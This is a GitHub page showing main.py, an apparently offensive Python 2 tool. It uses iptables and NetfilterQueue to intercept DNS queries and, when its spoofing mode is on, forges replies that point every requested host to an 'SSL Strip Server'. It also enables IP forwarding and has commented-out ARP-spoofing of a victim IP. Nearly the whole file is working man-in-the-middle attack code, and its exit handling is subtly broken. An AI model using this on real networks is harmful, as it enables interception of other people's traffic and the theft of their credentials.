-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathmain.py
122 lines (93 loc) · 2.87 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
# coding=utf-8
import os
import re
import signal
from scapy.all import *
from scapy.layers.dns import DNSQR, DNS, DNSRR
from scapy.layers.inet import IP, UDP
from cleaner import cleaner
from arpspoof import ARP
from multiprocessing import Process
from netfilterqueue import NetfilterQueue
from get_dns_task import get_dns_response
import atexit
StripServer_IP = '192.168.0.6' # SSL Strip Server Address
os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1')
def spoof_callback(data):
payload = data.get_payload()
pkt = IP(payload)
if not pkt.haslayer(DNSQR):
data.accept()
else:
host = pkt[DNS].qd.qname
print "Detect DNS query %s" % host
spoofed_pkt = \
IP(dst=pkt[IP].src, src=pkt[IP].dst) / \
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) / \
DNS(
id=pkt[DNS].id,
qr=1,
aa=1,
qd=pkt[DNS].qd,
an=DNSRR(
rrname=host,
ttl=10,
rdata=StripServer_IP
)
)
print "Spoof %s to me!" % host
data.set_payload(str(spoofed_pkt))
data.accept()
def normal_callback(data):
payload = data.get_payload()
pkt = IP(payload)
if not pkt.haslayer(DNSQR):
data.accept()
else:
host = pkt[DNS].qd.qname
print "Detect DNS query %s" % host
# res = sr1(IP(dst="168.126.63.1") / UDP() / DNS(rd=1, qd=DNSQR(qname=host)))
result = get_dns_response.delay(host)
res = result.get(timeout=3)
normal_pkt = \
IP(dst=pkt[IP].src, src=pkt[IP].dst) / \
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) / \
DNS(
id=pkt[DNS].id,
qr=1,
aa=1,
qd=res[DNS].qd,
an=res[DNS].an
)
print "%s is resolved!" % host
data.set_payload(str(normal_pkt))
data.accept()
def run_arp(victim_ip):
arp = ARP(victim_ip)
arp.run()
def exit_handler(queue):
queue.unbind()
# process.join() # Escape ARP loop
cleaner()
print("Successfully")
def main():
# 정상적인 DNS 서버 역할의 경우, DNS_Spoofing = False
DNSSpoofing = False
q = NetfilterQueue()
if DNSSpoofing:
q.bind(1, spoof_callback)
else:
q.bind(1, normal_callback)
# victim_ip = '192.168.0.39'
# arp_process = Process(target=run_arp, args=(victim_ip,))
try:
os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
# arp_process.start() # ARP Sub loop
q.run() # Main loop
except KeyboardInterrupt:
# exit_handler(q, arp_process)
pass
signal.signal(signal.SIGTERM, exit_handler(q))
atexit.register(exit_handler)
if __name__ == '__main__':
main()